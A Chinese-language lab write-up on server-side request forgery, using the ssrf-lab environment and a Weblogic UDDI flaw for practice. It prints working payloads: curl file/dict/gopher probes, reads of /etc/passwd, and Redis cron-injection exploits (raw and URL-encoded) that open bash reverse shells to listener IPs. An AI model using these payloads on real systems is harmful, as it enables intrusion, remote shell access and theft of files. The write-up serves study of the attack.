结合漏洞、ssrf-lab学习SSRF漏洞
2020-03-10 10:48:02 Author: xz.aliyun.com(查看原文) 阅读量:309 收藏

前言:

学习新知识,这次通过Weblogic 存在的SSRF漏洞和ssrf-lab,来学习SSRF漏洞

0x00 了解SSRF

SSRF简介:

SSRF(Server-Side Request Forgery),即服务器端请求伪造,利用漏洞伪造服务器端发起请求,从而突破客户端获取不到数据限制,本质上是属于信息泄露漏洞。

SSRF漏洞原理:

SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制 。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等,而且在大部分的web服务器架构中web服务器自身是可以访问互联网和服务器所在的内网的,所以攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据

而且在一般情况下,SSRF攻击的目标是外网无法访问的内部系统(即内网),所以SSRF漏洞也可以用一句话来进行总结:利用一个可以发起网络请求的服务当作跳板来攻击内部其他服务

gopher、dict协议以及redis服务、Curl 命令

Gopher 协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作用。利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。

DICT协议,一个字典服务器协议,A Dictionary Server Protocol,允许客户端在使用过程中访问更多字典并且该协议约定服务器端侦听端口号:2628

redis服务是在6379端口开启的

这些我们大致了解一下知道其用处即可

curl命令在SSRF漏洞有非常重要的作用,所以这里就简单介绍一下curl命令:

curl 是常用的命令行工具,用来请求 Web 服务器。它的名字就是客户端(client)的 URL 工具的意思

不带有任何参数时,curl 就是发出 GET 请求

$ curl https://www.example.com

上面命令向www.example.com发出 GET 请求,服务器返回的内容会在命令行输出

-v参数输出通信的整个过程,用于调试。我们便可以利用-v参数进行读取文件

使用file协议curl -v file:///etc/passwd
使用ftp协议 curl -v "ftp://127.0.0.1:端口/info"
使用dict协议 curl -v "dict://127.0.0.1:端口/info"
使用gopher协议 curl -v "gopher://127.0.0.1:端口/_info"

其他参数可以参考curl

常见内网IP段

局域网地址范围分三类,以下IP段为内网IP段:

C类192.168.0.0 - 192.168.255.255 

B类172.16.0.0 - 172.31.255.255 

A类10.0.0.0 - 10.255.255.255

SSRF漏洞的挖掘与利用:

存在SSRF漏洞的站点主要利用四个协议,分别是http、file、gopher、dict协议

file协议进行本地文件的读取
http协议进行内网的ip扫描、端口探测
探测到6379端口开放,可以利用http、gopher、dict这几个协议来打开放6379端口的redis服务。


正如上图所示,SSRF挖掘与利用方式有很多,只通过理论是无法理解一些东西的,下面就练习一下:

0x01 ssrf-lab

OUTGOING WEBHOOK 输入的https://yourhandler.io/events是有 REST API 监听的需要测试项目

在 SEE THE RESULT 的部分会显示请求响应的结果和状态码

下面就先测试一下127.0.0.1,发现有回显数据,说明这里没有对内网ip进行限制

上面了解了SSRF可以通过几种协议来进行读取文件,在这里就进行测试一下:

使用file:///etc/passwd读取用户密码,发现是可以读取

除此之外,利用这个协议可以读取主机内任意文件。接下来可以读取配置文件和源代码方便进一步的渗透,这里之所以成功实现是因为URL没有经过严格的过滤,所以才可以利用这个协议进行任意文件读取。

在上面还介绍过redis服务,看了很多SSRF 协议中的利用都是结合 Redis 服务的,所以这里就先在ssrf-basics 容器里面安装该服务

$ docker ps #查看容器编号
$ docker exec -it 容器编号 /bin/bash #进入容器
$ apt-get install redis-server # 安装redis服务
$ redis-server #开启redis服务


安装好之后,便可以利用协议收集信息及反弹 shell

利用dict协议,dict://127.0.0.1:6379/info可获取本地redis服务配置信息

利用dict://127.0.0.1:6379/KEYS *获取 redis 存储的内容

这就是dict协议的简单利用,除此之外,利用gopher协议可以攻击redis

内网中的redis存在未授权访问漏洞,当Redis服务以root 权限运行时,利用 Gopher 协议攻击内网中的 Redis,通过写入定时任务可以实现反弹shell

首先先了解一下通常攻击 Redis 的命令,然后转化为 Gopher 可用的协议

redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/45952 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save
//redis-cli查看所有的keys及清空所有的数据

这便是常见的exp,只需自己更改IP和端口即可,改成适配于 Gopher 协议的 URL:

gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/45952 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/www/html/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

经过url解码便是:

gopher://127.0.0.1:6379/_*1 $8 flushall *3 $3 set $1 1 $64 */1 * * * * bash -i >& /dev/tcp/127.0.0.1/45952 0>&1 *4 $6 config $3 set $3 dir $16 /var/www/html/ *4 $6 config $3 set $10 dbfilename $4 root *1 $4 save quit

进行测试,发现回显

接下来在 ssrf-lab/basics 容器里面查看插入的 KEY 值,验证是否成功

利用Gopher 协议还可以攻击 FastCGI,攻击内网 Vulnerability Web

具体可以参考利用 Gopher 协议拓展攻击面

0x02:Weblogic SSRF漏洞

Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件

该漏洞位于http://192.168.186.130:7001/uddiexplorer//uddiexplorer/SearchPublicRegistries.jsp,谷歌翻译一下

搜索私人注册表,然后上面有一个公共注册处,可以选择微软、IBM,也就是指定URL地址获取网页文本内容
随便填一下内容,请求一下发现是GET请求和POST请求都可以,接下来直接构造参数,将指定的URL修改一下看看会出现怎么样的结果,先要搞清各自对应的参数

构造出参数:

?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001

发起请求,发现

可访问的端口将会得到错误,一般是返回的status code,如果为一个不存在的端口,将返回could not connect over HTTP to server

利用这种方式便可以探测出内网状态

除此之外,WeblogicSSRF有一个比较大的特点,其虽然是一个“GET”请求,但是可以通过传入%0a%0d来注入换行符,redis服务是通过换行符来分隔每条命令,所以可以通过该SSRF攻击内网中的redis服务器

既然这里可以进行SSRF攻击,那么就通过注入HTTP头,利用Redis来反弹shell

首先通过SSRF探测内网中的redis服务器,经过测试,发现172.18.0.2:6379可以连通(因为这里使用docker来搭建的而docker环境的网段一般是172.*,但这里我的请求总是超时就很先用下师傅的图片)

由此,知道了docker环境中地址172.18.0.2,在端口6379运行Redis 服务

接下来发送三条redis命令,将弹shell脚本写入/etc/crontab

test

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.186.130/4444 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

aaa

利用GET传进去,进行URL编码

%74%65%73%74%73%65%74%20%31%20%22%5c%6e%5c%6e%5c%6e%5c%6e%2a%20%2a%20%2a%20%2a%20%2a%20%72%6f%6f%74%20%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%38%36%2e%31%33%30%2f%34%34%34%34%20%30%3e%26%31%5c%6e%5c%6e%5c%6e%5c%6e%22%63%6f%6e%66%69%67%20%73%65%74%20%64%69%72%20%2f%65%74%63%2f%63%6f%6e%66%69%67%20%73%65%74%20%64%62%66%69%6c%65%6e%61%6d%65%20%63%72%6f%6e%74%61%62%73%61%76%65%61%61%61


在发起请求之前,先监听4444端口

待请求一段时间后,便可成功的反弹了shell


文章来源: http://xz.aliyun.com/t/7333
如有侵权请联系:admin#unsafe.sh